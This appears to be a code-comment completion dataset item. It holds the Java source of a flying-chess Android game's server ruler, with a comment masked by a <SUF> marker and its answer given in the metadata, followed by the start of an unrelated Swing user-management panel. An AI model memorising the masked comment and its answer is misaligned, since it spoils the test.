else if (theSelectedPlaneTag + random == ChessBoard.TAG_RED_DOUBLE_JUMP_START2) { step = new Step(planeTag, ChessBoard.TAG_RED_DOUBLE_JUMP_END2); } else if (theSelectedPlaneTag + random == ChessBoard.TAG_RECTANGLE_LARGE) { step = new Step(planeTag, 4); } else if (theSelectedPlaneTag + random > ChessBoard.TAG_RECTANGLE_LARGE) { if ((theSelectedPlaneTag + random) % ChessBoard.TAG_RECTANGLE_LARGE == 4) { step = new Step(planeTag, 8); } else { step = new Step(planeTag, theSelectedPlaneTag + random - ChessBoard.TAG_RECTANGLE_LARGE); } } else if ((theSelectedPlaneTag + random - ChessBoard.TAG_RED_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (0 < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_RED_CORNER) { if (theSelectedPlaneTag + random < ChessBoard.TAG_RED_CORNER) { if ((theSelectedPlaneTag + random - ChessBoard.TAG_RED_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (theSelectedPlaneTag + random == ChessBoard.TAG_RED_CORNER) { step = new Step(planeTag, ChessBoard.TAG_RED_CORNER); } else { step = new Step(planeTag, theSelectedPlaneTag + random - ChessBoard.TAG_RED_CORNER + ChessBoard.TAG_RED_CORNER_START); } } else { if (theSelectedPlaneTag + random <= ChessBoard.TAG_RED_END) { step = new Step(planeTag,theSelectedPlaneTag + random); if (theSelectedPlaneTag + random == ChessBoard.TAG_RED_END) { mFinishMap.put(currentPlayer,mFinishMap.get(currentPlayer)+1); if (mFinishMap.get(currentPlayer) == FINISH_NUM) { currentPlayer.setFinish(true); mWinnerList.add(currentPlayer); } } } else { step = new Step(planeTag, ChessBoard.TAG_RED_END * 2 - (theSelectedPlaneTag + random)); } } } break; } return step; } @Override public void onDataReceived(Object data) { //TODO:在各个设备之间定义一套通信协议,初步有控制字段:开始,结束,谁赢谁输.,planeTag,shapeTag..还是要好好设计一下。 String str = (String) data; try { Message message = LoganSquare.parse(str, Message.class); Toast.makeText(mContext,message.toString(),Toast.LENGTH_LONG); int type = message.mMessageType; switch (type) { case Message.MSG_TYPE_HOST_BEGIN: break; case Message.MSG_TYPE_BEGIN_ACK: break; case Message.MSG_TYPE_GAME_DATA: break; case Message.MSG_TYPE_GAME_END: break; case Message.MSG_TYPE_GAME_RESTART_REQ: break; case Message.MSG_TYPE_GAME_RESTART_RESP: break; case Message.MSG_TYPE_MOVE_BACK_REQ: break; case Message.MSG_TYPE_MOVE_BACK_RESP: break; case Message.MSG_TYPE_EXIT: Toast.makeText(mContext, message.mMessage + "退出了~", Toast.LENGTH_LONG); break; case Message.MSG_TYPE_DICE://收到了摇骰子的信号,故来摇一个骰子~ for(Player player:mList){ if(player instanceof ClientPlayer/* && currentPlayer != player*/)//只有发信息的人,以及本机用户不消息噢~ player.think(message.mRandom); } for(Player player:mWinnerList){ if(player instanceof ClientPlayer/* && currentPlayer != player*/)//只有发信息的人,以及本机用户不消息噢~ player.think(message.mRandom); } for(Player player:mEyeList){ if(player instanceof ClientPlayer/* && currentPlayer != player*/)//只有发信息的人,以及本机用户不消息噢~ player.think(message.mRandom); } random = message.mRandom; EventBus.getDefault().post(new UpdateDiceEvent(message.mRandom)); EventBus.getDefault().post(new UpdateTitleEvent(mContext.getString(R.string.dicing) + message.mRandom)); if (isAllCanNotFly(message.mChessColor)){//如果对方都还不能起飞~那我们就忽略它吧~╮(╯▽╰)╭//这里本不应该这么做。 nextPalyer(); for(Player player:mList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } for(Player player:mWinnerList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } for(Player player:mEyeList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } } break; case Message.MSG_TYPE_SELECT_PLANE: handle(message.mPlaneTag,message.mTheSelectedPlaneTag); break; } } catch (IOException e) { e.printStackTrace(); } } public Salut getmSalut() { return mSalut; } }
Eluny/FlyingChess
app/src/main/java/com/project/flyingchess/ruler/ServerRuler.java
7,434
//只有发信息的人,以及本机用户不消息噢~
line_comment
zh-cn
package com.project.flyingchess.ruler; import android.app.Activity; import android.content.Context; import android.widget.Toast; import com.bluelinelabs.logansquare.LoganSquare; import com.orhanobut.logger.Logger; import com.peak.salut.Callbacks.SalutCallback; import com.peak.salut.Callbacks.SalutDataCallback; import com.peak.salut.Callbacks.SalutDeviceCallback; import com.peak.salut.Salut; import com.peak.salut.SalutDataReceiver; import com.peak.salut.SalutDevice; import com.peak.salut.SalutServiceData; import com.project.flyingchess.R; import com.project.flyingchess.activity.ConfigueActivity; import com.project.flyingchess.eventbus.UpdateDiceEvent; import com.project.flyingchess.eventbus.UpdateGameInfoEvent; import com.project.flyingchess.eventbus.UpdateTitleEvent; import com.project.flyingchess.model.Message; import com.project.flyingchess.model.Step; import com.project.flyingchess.other.Constants; import com.project.flyingchess.player.ClientPlayer; import com.project.flyingchess.player.Player; import com.project.flyingchess.utils.Color; import com.project.flyingchess.widget.ChessBoard; import org.greenrobot.eventbus.EventBus; import java.io.IOException; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Random; /** * Created by hunnny on 2016/4/11. */ public class ServerRuler implements IRuler,SalutDataCallback { private Context mContext; private Player localPlayer; private Player currentPlayer; private List<Player> mList = new ArrayList<>();; private List<Player> mWinnerList = new ArrayList<>(); private List<Player> mEyeList = new ArrayList<>(); private List<Integer> mColorList = new ArrayList<>();//用来随机生成颜色的~? private static final int FINISH_NUM = 4; private HashMap<Player,Integer> mFinishMap = new HashMap<>(); private static int random; private List<Step> stepList = new ArrayList<>();//记录棋局的行走情况 private Salut mSalut; private boolean isStart = false; private boolean isEnd = false; private boolean isYourTurn = false;//骰子~ public ServerRuler(Context mContext, Player currentPlayer) { this.mContext = mContext; this.currentPlayer = currentPlayer; init(); } @Override public void init() { localPlayer = currentPlayer; mList.add(currentPlayer); currentPlayer.setRuler(this); //mColorList.add(Color.BLUE); mColorList.add(Color.YELLOW); mColorList.add(Color.RED); mColorList.add(Color.GREEN); if (!Salut.isWiFiEnabled(mContext)) { Salut.enableWiFi(mContext); } SalutDataReceiver mDataReceiver = new SalutDataReceiver((Activity) mContext, this); SalutServiceData mServiceData = new SalutServiceData("server", PORT, mList.get(0).getName()); mSalut = new Salut(mDataReceiver, mServiceData, new SalutCallback() { @Override public void call() { Logger.d("The mobile cannot support the Wifi~connect~ T>T"); Toast.makeText(mContext,"The mobile cannot support the Wifi~connect~ T>T",Toast.LENGTH_SHORT).show(); } }); mSalut.startNetworkService(new SalutDeviceCallback() { @Override public void call(SalutDevice salutDevice) { Logger.d("startNetworkService, onWifiDeviceConnected, device:" + salutDevice.deviceName); Toast.makeText(mContext, "startNetworkService, onWifiDeviceConnected, device:" + salutDevice.deviceName, Toast.LENGTH_SHORT).show(); if(mColorList.size() != 0){ ClientPlayer player = new ClientPlayer(salutDevice.deviceName, mColorList.remove(randomGen.nextInt(mColorList.size())), salutDevice); switch (player.getColor()){ case Color.BLUE: player.setName(ConfigueActivity.PLAYER_1); break; case Color.YELLOW: player.setName(ConfigueActivity.PLAYER_2); break; case Color.RED: player.setName(ConfigueActivity.PLAYER_3); break; case Color.GREEN: player.setName(ConfigueActivity.PLAYER_4); break; } player.setRuler(ServerRuler.this); mList.add(player); }else{ ClientPlayer player = new ClientPlayer(salutDevice.deviceName, Color.NONE, salutDevice); player.setRuler(ServerRuler.this); mEyeList.add(player); } EventBus.getDefault().post(new UpdateGameInfoEvent("比赛人数:" + mList.size() + "观看人数:" + mEyeList.size())); } }, new SalutCallback() { @Override public void call() { Logger.d("startNetworkService, init success"); Toast.makeText(mContext,"startNetworkService, init success~",Toast.LENGTH_SHORT).show(); } }, new SalutCallback() { @Override public void call() { Logger.d("startNetworkService, init failed"); Toast.makeText(mContext,"startNetworkService, init failed~",Toast.LENGTH_SHORT).show(); } }); } @Override public void uninit(){ Toast.makeText(mContext,"uninit~",Toast.LENGTH_SHORT).show(); currentPlayer.exit();//离开的时候给个消息通知下呗。 if (mSalut.isRunningAsHost) { mSalut.stopNetworkService(false); } else { mSalut.unregisterClient(false); } } @Override public void start() { Logger.d("The Game is Start~"); for(Player player:mList){ player.start(player.getColor()); } for(Player player:mWinnerList){ player.start(player.getColor()); } for(Player player:mEyeList){ player.start(Color.NONE); } currentPlayer.onYourTurn(true,currentPlayer.getName() + "摇骰子~啦");//hiahiahia~我也觉得自己好白痴。为毛能写这么久 } @Override public void restart() { stepList.clear(); currentPlayer = localPlayer; mList.addAll(mWinnerList); mWinnerList.clear(); for(Player player:mList){ player.restart(); } for(Player player:mEyeList){ player.restart(); } isStart = true; currentPlayer.onYourTurn(true,currentPlayer.getName() + "摇骰子~啦");//hiahiahia~我也觉得自己好白痴。为毛能写这么久 } public void myTurn(Boolean isTurn,String content){//第一次写~灰常尴尬。为了满足我的强迫症,足足琢磨了半天。hiahiahia~ if(isTurn) isYourTurn = true;//大兄弟是你的机会鸟~ EventBus.getDefault().post(new UpdateDiceEvent(0)); EventBus.getDefault().post(new UpdateTitleEvent(content)); } public void nextPalyer() { if(currentPlayer == null){ currentPlayer = mList.get(0); return; } int currentIndex = mList.indexOf(currentPlayer) + 1; if(mWinnerList.size() != 0) mList.remove(mWinnerList.get(mWinnerList.size()-1)); if(mList.size() <= 1) { Logger.d(mWinnerList.toString()); EventBus.getDefault().post(mWinnerList); isStart = false; return; } Logger.d(currentIndex + ": current"); currentPlayer = (currentIndex != mList.size() ? mList.get(currentIndex) : mList.get(0)); } private final Random randomGen = new Random(); @Override public void dice() { if(isStart){ if(isYourTurn){ random = randomGen.nextInt(6) + 1; if (isAllCanNotFly(currentPlayer.getColor())){ //通知下一位选手准备~ EventBus.getDefault().post(new UpdateDiceEvent(random)); EventBus.getDefault().post(new UpdateTitleEvent(currentPlayer.getName() + "摇到的点数为:" + random)); for(Player player:mList){ if(player != currentPlayer)//就自己不调用~ player.think(random); } for(Player player:mWinnerList){ player.think(random); } for(Player player:mEyeList){ player.think(random); } nextPalyer(); for(Player player:mList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } for(Player player:mWinnerList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } for(Player player:mEyeList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } }else{//正常的逻辑~ for(Player player:mList){ player.think(random); } for(Player player:mWinnerList){ player.think(random); } for(Player player:mEyeList){ player.think(random); } } isYourTurn = false; } } } public boolean isAllCanNotFly(int color) { if (color == Color.BLUE) { if (random != Constants.CAN_FLY && (ChessBoard.planeNum.get(1) == ChessBoard.TAG_BLUE_BASE_1) && (ChessBoard.planeNum.get(2) == ChessBoard.TAG_BLUE_BASE_2) && (ChessBoard.planeNum.get(3) == ChessBoard.TAG_BLUE_BASE_3) && (ChessBoard.planeNum.get(4) == ChessBoard.TAG_BLUE_BASE_4)) { return true; } } if (color == Color.YELLOW) { if (random != Constants.CAN_FLY && (ChessBoard.planeNum.get(5) == ChessBoard.TAG_YELLOW_BASE_1) && (ChessBoard.planeNum.get(6) == ChessBoard.TAG_YELLOW_BASE_2) && (ChessBoard.planeNum.get(7) == ChessBoard.TAG_YELLOW_BASE_3) && (ChessBoard.planeNum.get(8) == ChessBoard.TAG_YELLOW_BASE_4)) { return true; } } if (color == Color.RED) { if (random != Constants.CAN_FLY && (ChessBoard.planeNum.get(9) == ChessBoard.TAG_RED_BASE_1) && (ChessBoard.planeNum.get(10) == ChessBoard.TAG_RED_BASE_2) && (ChessBoard.planeNum.get(11) == ChessBoard.TAG_RED_BASE_3) && (ChessBoard.planeNum.get(12) == ChessBoard.TAG_RED_BASE_4)) { return true; } } if (color == Color.GREEN) { if (random != Constants.CAN_FLY && (ChessBoard.planeNum.get(13) == ChessBoard.TAG_GREEN_BASE_1) && (ChessBoard.planeNum.get(14) == ChessBoard.TAG_GREEN_BASE_2) && (ChessBoard.planeNum.get(15) == ChessBoard.TAG_GREEN_BASE_3) && (ChessBoard.planeNum.get(16) == ChessBoard.TAG_GREEN_BASE_4)) { return true; } } return false; } @Override public void handle(int planeTag, int theSelectedPlaneTag) { //TODO:这里写的是...逻辑上的控制~反馈给player~让它自己去控制棋盘~这样做是因为...想把联网的和本地的写一块~ //这里的效果其实就是~。所以的棋子都..放下了他们邪恶的棋子~ Step step = getStep(planeTag, theSelectedPlaneTag); //random = 0; //EventBus.getDefault().post(new UpdateDiceEvent(0)); stepList.add(step); for (Player player:mList){ player.putChess(step); } for(Player player:mWinnerList){ player.putChess(step); } for(Player player:mEyeList){ player.putChess(step); } if(!isEnd){ if (random != Constants.CAN_FLY) { //摇到6就奖励一次//这个逻辑我很满意~233 nextPalyer(); } for(Player player:mList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } for(Player player:mWinnerList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } for(Player player:mEyeList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } }else{//如果结束的话~就给大家发送结束的~通知呗。就是这个样子~ for(Player player:mList){ player.end(mWinnerList); } for(Player player:mWinnerList){ player.end(mWinnerList); } for(Player player:mEyeList){ player.end(mWinnerList); } } } private Step getStep(int planeTag, int theSelectedPlaneTag) { Step step = null; switch (currentPlayer.getColor()){ case Color.BLUE: if (theSelectedPlaneTag == ChessBoard.TAG_BLUE_PRE) { //假如在起飞点 if ((ChessBoard.TAG_BLUE_START + random - ChessBoard.TAG_BLUE_JUMP) % 4 == 0) { step = new Step(planeTag, ChessBoard.TAG_BLUE_START + random + 4); } else { step = new Step(planeTag, ChessBoard.TAG_BLUE_START + random); } } else { //不在起飞点 if (0 < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_BLUE_CORNER) { //在外环途中 if (theSelectedPlaneTag + random < ChessBoard.TAG_BLUE_CORNER) { //加上点数都还在外环 if (theSelectedPlaneTag + random == ChessBoard.TAG_BLUE_DOUBLE_JUMP_START1) { //第一种连跳 step = new Step(planeTag, ChessBoard.TAG_BLUE_DOUBLE_JUMP_END1); } else if (theSelectedPlaneTag + random == ChessBoard.TAG_BLUE_DOUBLE_JUMP_START2) { //第二种连跳 step = new Step(planeTag, ChessBoard.TAG_BLUE_DOUBLE_JUMP_END2); } else if ((theSelectedPlaneTag + random - ChessBoard.TAG_BLUE_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (theSelectedPlaneTag + random == ChessBoard.TAG_BLUE_CORNER) { step = new Step(planeTag, ChessBoard.TAG_BLUE_CORNER); } else { step = new Step(planeTag, ChessBoard.TAG_BLUE_CORNER_START + theSelectedPlaneTag + random - ChessBoard.TAG_BLUE_CORNER); } } else{ if(theSelectedPlaneTag + random <= ChessBoard.TAG_BLUE_END){ step = new Step(planeTag,theSelectedPlaneTag + random); if(theSelectedPlaneTag + random == ChessBoard.TAG_BLUE_END){ mFinishMap.put(currentPlayer,mFinishMap.get(currentPlayer)+1); if(mFinishMap.get(currentPlayer) == FINISH_NUM){ currentPlayer.setFinish(true); mWinnerList.add(currentPlayer); } } } else step = new Step(planeTag,ChessBoard.TAG_BLUE_END * 2 - (theSelectedPlaneTag + random)); } } break; case Color.YELLOW: if (theSelectedPlaneTag == ChessBoard.TAG_YELLOW_PRE) { //假如在起飞点 if ((ChessBoard.TAG_YELLOW_START + random - ChessBoard.TAG_YELLOW_JUMP) % 4 == 0) { step = new Step(planeTag, ChessBoard.TAG_YELLOW_START + random + 4); } else { step = new Step(planeTag, ChessBoard.TAG_YELLOW_START + random); } } else { //不在起飞点 if (ChessBoard.TAG_YELLOW_START < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_RECTANGLE_LARGE) { if (theSelectedPlaneTag + random == ChessBoard.TAG_YELLOW_DOUBLE_JUMP_START1) { //先解决特殊的几个点 step = new Step(planeTag, ChessBoard.TAG_YELLOW_DOUBLE_JUMP_END1); } else if (theSelectedPlaneTag + random == ChessBoard.TAG_YELLOW_DOUBLE_JUMP_START2) { step = new Step(planeTag, ChessBoard.TAG_YELLOW_DOUBLE_JUMP_END2); } else if (theSelectedPlaneTag + random == ChessBoard.TAG_RECTANGLE_LARGE - 1) { step = new Step(planeTag, 3); } else if (theSelectedPlaneTag + random > ChessBoard.TAG_RECTANGLE_LARGE) { if ((theSelectedPlaneTag + random) % ChessBoard.TAG_RECTANGLE_LARGE == 3) { step = new Step(planeTag, 7); } else { step = new Step(planeTag, theSelectedPlaneTag + random - ChessBoard.TAG_RECTANGLE_LARGE); } } else if ((theSelectedPlaneTag + random - ChessBoard.TAG_YELLOW_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (0 < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_YELLOW_CORNER) { if (theSelectedPlaneTag + random < ChessBoard.TAG_YELLOW_CORNER) { if ((theSelectedPlaneTag + random - ChessBoard.TAG_YELLOW_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (theSelectedPlaneTag + random == ChessBoard.TAG_YELLOW_CORNER) { step = new Step(planeTag, ChessBoard.TAG_YELLOW_CORNER); } else { step = new Step(planeTag, theSelectedPlaneTag + random - ChessBoard.TAG_YELLOW_CORNER + ChessBoard.TAG_YELLOW_CORNER_START); } } else { if (theSelectedPlaneTag + random <= ChessBoard.TAG_YELLOW_END) { step = new Step(planeTag,theSelectedPlaneTag + random); if (theSelectedPlaneTag + random == ChessBoard.TAG_YELLOW_END) { mFinishMap.put(currentPlayer,mFinishMap.get(currentPlayer)+1); if (mFinishMap.get(currentPlayer) == FINISH_NUM) { currentPlayer.setFinish(true); mWinnerList.add(currentPlayer); } } } else { step = new Step(planeTag, ChessBoard.TAG_YELLOW_END * 2 - (theSelectedPlaneTag + random)); } } } break; case Color.GREEN: if (theSelectedPlaneTag == ChessBoard.TAG_GREEN_PRE) { //假如在起飞点 if ((ChessBoard.TAG_GREEN_START + random - ChessBoard.TAG_GREEN_JUMP) % 4 == 0) { step = new Step(planeTag, ChessBoard.TAG_GREEN_START + random + 4); } else { step = new Step(planeTag, ChessBoard.TAG_GREEN_START + random); } } else { //不在起飞点 if (ChessBoard.TAG_GREEN_START < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_RECTANGLE_LARGE) { if (theSelectedPlaneTag + random == ChessBoard.TAG_RECTANGLE_LARGE - 3) { step = new Step(planeTag, 1); } else if (theSelectedPlaneTag + random > ChessBoard.TAG_RECTANGLE_LARGE) { if ((theSelectedPlaneTag + random) % ChessBoard.TAG_RECTANGLE_LARGE == ChessBoard.TAG_GREEN_DOUBLE_JUMP_START1) { step = new Step(planeTag, ChessBoard.TAG_GREEN_DOUBLE_JUMP_END1); } else if ((theSelectedPlaneTag + random) % ChessBoard.TAG_RECTANGLE_LARGE == ChessBoard.TAG_GREEN_DOUBLE_JUMP_START2) { step = new Step(planeTag, ChessBoard.TAG_GREEN_DOUBLE_JUMP_END2); } else { step = new Step(planeTag, theSelectedPlaneTag + random - ChessBoard.TAG_RECTANGLE_LARGE); } } else if ((theSelectedPlaneTag + random - ChessBoard.TAG_GREEN_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (0 < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_GREEN_CORNER) { if (theSelectedPlaneTag + random == ChessBoard.TAG_GREEN_DOUBLE_JUMP_START2) { step = new Step(planeTag, ChessBoard.TAG_GREEN_DOUBLE_JUMP_END2); } else if (theSelectedPlaneTag + random < ChessBoard.TAG_GREEN_CORNER) { if ((theSelectedPlaneTag + random - ChessBoard.TAG_GREEN_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (theSelectedPlaneTag + random == ChessBoard.TAG_GREEN_CORNER) { step = new Step(planeTag, ChessBoard.TAG_GREEN_CORNER); } else { step = new Step(planeTag, theSelectedPlaneTag + random - ChessBoard.TAG_GREEN_CORNER + ChessBoard.TAG_GREEN_CORNER_START); } } else { if (theSelectedPlaneTag + random <= ChessBoard.TAG_GREEN_END) { step = new Step(planeTag,theSelectedPlaneTag + random); if (theSelectedPlaneTag + random == ChessBoard.TAG_GREEN_END) { mFinishMap.put(currentPlayer,mFinishMap.get(currentPlayer)+1); if (mFinishMap.get(currentPlayer) == FINISH_NUM) { currentPlayer.setFinish(true); mWinnerList.add(currentPlayer); } } } else { step = new Step(planeTag, ChessBoard.TAG_GREEN_END * 2 - (theSelectedPlaneTag + random)); } } } break; case Color.RED: if (theSelectedPlaneTag == ChessBoard.TAG_RED_PRE) { //假如在起飞点 if ((ChessBoard.TAG_RED_START + random - ChessBoard.TAG_RED_JUMP) % 4 == 0) { step = new Step(planeTag, ChessBoard.TAG_RED_START + random + 4); } else { step = new Step(planeTag, ChessBoard.TAG_RED_START + random); } } else { //不在起飞点 if (ChessBoard.TAG_RED_START < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_RECTANGLE_LARGE) { if (theSelectedPlaneTag + random == ChessBoard.TAG_RED_DOUBLE_JUMP_START1) { //先解决特殊的几个点 step = new Step(planeTag, ChessBoard.TAG_RED_DOUBLE_JUMP_END1); } else if (theSelectedPlaneTag + random == ChessBoard.TAG_RED_DOUBLE_JUMP_START2) { step = new Step(planeTag, ChessBoard.TAG_RED_DOUBLE_JUMP_END2); } else if (theSelectedPlaneTag + random == ChessBoard.TAG_RECTANGLE_LARGE) { step = new Step(planeTag, 4); } else if (theSelectedPlaneTag + random > ChessBoard.TAG_RECTANGLE_LARGE) { if ((theSelectedPlaneTag + random) % ChessBoard.TAG_RECTANGLE_LARGE == 4) { step = new Step(planeTag, 8); } else { step = new Step(planeTag, theSelectedPlaneTag + random - ChessBoard.TAG_RECTANGLE_LARGE); } } else if ((theSelectedPlaneTag + random - ChessBoard.TAG_RED_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (0 < theSelectedPlaneTag && theSelectedPlaneTag <= ChessBoard.TAG_RED_CORNER) { if (theSelectedPlaneTag + random < ChessBoard.TAG_RED_CORNER) { if ((theSelectedPlaneTag + random - ChessBoard.TAG_RED_JUMP) % 4 == 0) { step = new Step(planeTag, theSelectedPlaneTag + random + 4); } else { step = new Step(planeTag, theSelectedPlaneTag + random); } } else if (theSelectedPlaneTag + random == ChessBoard.TAG_RED_CORNER) { step = new Step(planeTag, ChessBoard.TAG_RED_CORNER); } else { step = new Step(planeTag, theSelectedPlaneTag + random - ChessBoard.TAG_RED_CORNER + ChessBoard.TAG_RED_CORNER_START); } } else { if (theSelectedPlaneTag + random <= ChessBoard.TAG_RED_END) { step = new Step(planeTag,theSelectedPlaneTag + random); if (theSelectedPlaneTag + random == ChessBoard.TAG_RED_END) { mFinishMap.put(currentPlayer,mFinishMap.get(currentPlayer)+1); if (mFinishMap.get(currentPlayer) == FINISH_NUM) { currentPlayer.setFinish(true); mWinnerList.add(currentPlayer); } } } else { step = new Step(planeTag, ChessBoard.TAG_RED_END * 2 - (theSelectedPlaneTag + random)); } } } break; } return step; } @Override public void onDataReceived(Object data) { //TODO:在各个设备之间定义一套通信协议,初步有控制字段:开始,结束,谁赢谁输.,planeTag,shapeTag..还是要好好设计一下。 String str = (String) data; try { Message message = LoganSquare.parse(str, Message.class); Toast.makeText(mContext,message.toString(),Toast.LENGTH_LONG); int type = message.mMessageType; switch (type) { case Message.MSG_TYPE_HOST_BEGIN: break; case Message.MSG_TYPE_BEGIN_ACK: break; case Message.MSG_TYPE_GAME_DATA: break; case Message.MSG_TYPE_GAME_END: break; case Message.MSG_TYPE_GAME_RESTART_REQ: break; case Message.MSG_TYPE_GAME_RESTART_RESP: break; case Message.MSG_TYPE_MOVE_BACK_REQ: break; case Message.MSG_TYPE_MOVE_BACK_RESP: break; case Message.MSG_TYPE_EXIT: Toast.makeText(mContext, message.mMessage + "退出了~", Toast.LENGTH_LONG); break; case Message.MSG_TYPE_DICE://收到了摇骰子的信号,故来摇一个骰子~ for(Player player:mList){ if(player instanceof ClientPlayer/* && currentPlayer != player*/)//只有发信息的人,以及本机用户不消息噢~ player.think(message.mRandom); } for(Player player:mWinnerList){ if(player instanceof ClientPlayer/* && currentPlayer != player*/)//只有发信息的人,以及本机用户不消息噢~ player.think(message.mRandom); } for(Player player:mEyeList){ if(player instanceof ClientPlayer/* && currentPlayer != player*/)//只有 <SUF> player.think(message.mRandom); } random = message.mRandom; EventBus.getDefault().post(new UpdateDiceEvent(message.mRandom)); EventBus.getDefault().post(new UpdateTitleEvent(mContext.getString(R.string.dicing) + message.mRandom)); if (isAllCanNotFly(message.mChessColor)){//如果对方都还不能起飞~那我们就忽略它吧~╮(╯▽╰)╭//这里本不应该这么做。 nextPalyer(); for(Player player:mList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } for(Player player:mWinnerList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } for(Player player:mEyeList){ player.onYourTurn(currentPlayer == player,currentPlayer.getName() + "摇骰子啦~"); } } break; case Message.MSG_TYPE_SELECT_PLANE: handle(message.mPlaneTag,message.mTheSelectedPlaneTag); break; } } catch (IOException e) { e.printStackTrace(); } } public Salut getmSalut() { return mSalut; } }
0
35309_14
import com.sun.javaws.util.JfxHelper; import netscape.security.UserDialogHelper; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.net.URL; import java.sql.ResultSet; import java.sql.SQLException; import java.util.Vector; import java.util.logging.Level; import java.util.logging.Logger; import javax.swing.*; import javax.swing.event.TreeSelectionEvent; import javax.swing.event.TreeSelectionListener; import javax.swing.table.DefaultTableModel; import javax.swing.tree.DefaultMutableTreeNode; import javax.swing.tree.DefaultTreeModel; import javax.swing.tree.TreePath; import javax.swing.tree.TreeSelectionModel; public class UserPanel extends JPanel { private Dao con = new Dao(); //按题型浏览 private MTable cardListTable; private Vector<String> cardListTableColumnV; private Vector<Vector> cardListTableValueV; private DefaultTableModel cardListTableModel; private JTree cardTree; private DefaultMutableTreeNode cardTreeRoot; private DefaultTreeModel cardTreeModel; //按知识点浏览 private MTable infoListTable; private Vector<String> infoListTableColumnV; private Vector<Vector> infoListTableValueV; private DefaultTableModel infoListTableModel; private JTree infoTree; private DefaultMutableTreeNode infoTreeRoot; private DefaultTreeModel infoTreeModel; public static void main(String[] args) { JFrame frame = new JFrame(); UserPanel user = new UserPanel(); frame.add(user); frame.setSize(900,600); frame.setVisible(true); } //private final Dao dao = Dao.getInstance(); /** * Create the panel */ public UserPanel() { super(); setLayout(new BorderLayout()); final JTabbedPane tabbedPane = new JTabbedPane(); add(tabbedPane, BorderLayout.CENTER); final JSplitPane cardSplitPane = new JSplitPane(); cardSplitPane.setOneTouchExpandable(true); cardSplitPane.setDividerSize(12); cardSplitPane.setDividerLocation(244); tabbedPane.addTab("所有用户", null, cardSplitPane, null); //1.按题型浏览 //左侧题源 final JPanel cardTreePanel = new JPanel(); cardSplitPane.setLeftComponent(cardTreePanel); cardTreePanel.setLayout(new BorderLayout()); final JScrollPane cardTreeScrollPane = new JScrollPane();// 创建显示题 // 题型树的滚动面板 cardTreePanel.add(cardTreeScrollPane);// 添加到上级面板中 cardTreeRoot = new DefaultMutableTreeNode("root");// 创建题型树的根节点 initTree(cardTreeRoot);// 初始化名片夹树 cardTreeModel = new DefaultTreeModel(cardTreeRoot);// 创建题型树模型 cardTree = new JTree(cardTreeModel);// 创建题型树树 cardTree.setRootVisible(false);// 设置题型树的根节点不可见 System.out.println(cardTree.getSelectionModel().getSelectionMode()); cardTree.getSelectionModel().setSelectionMode( TreeSelectionModel.SINGLE_TREE_SELECTION);// 设置题型树的选择模式为单选 if (cardTreeRoot.getChildCount() > 0) cardTree.setSelectionRow(0);// 如果题型树存在子节点,则设置选中第一个子节点 cardTree.addTreeSelectionListener(new TreeSelectionListener() {// 为题型树添加接点选中事件监听器 public void valueChanged(TreeSelectionEvent e) { initCardListTable();// 初始化题型列表 } }); cardTreeScrollPane.setViewportView(cardTree);// 将题型树添加到滚动面板中 //右侧题目信息 final JPanel cardListPanel = new JPanel(); cardSplitPane.setRightComponent(cardListPanel); cardListPanel.setLayout(new BorderLayout()); final JScrollPane cardListScrollPane = new JScrollPane(); cardListPanel.add(cardListScrollPane); cardListTableColumnV = new Vector<String>(); String cardListTableColumns[] = { "序号","用户名", "密码", "身份"}; for (int i = 0; i < cardListTableColumns.length; i++) { cardListTableColumnV.add(cardListTableColumns[i]); } cardListTableValueV = new Vector<Vector>(); cardListTableModel = new DefaultTableModel(cardListTableValueV, cardListTableColumnV); cardListTable = new MTable(cardListTableModel); initCardListTable(); cardListScrollPane.setViewportView(cardListTable); //右侧按键面板 final JPanel cardButtonPanel = new JPanel(); cardButtonPanel.setLayout(new BoxLayout(cardButtonPanel, BoxLayout.Y_AXIS)); cardListPanel.add(cardButtonPanel, BorderLayout.EAST); final JButton addUserButton = new JButton("添加用户"); addUserButton.addActionListener(new ActionListener() { public void 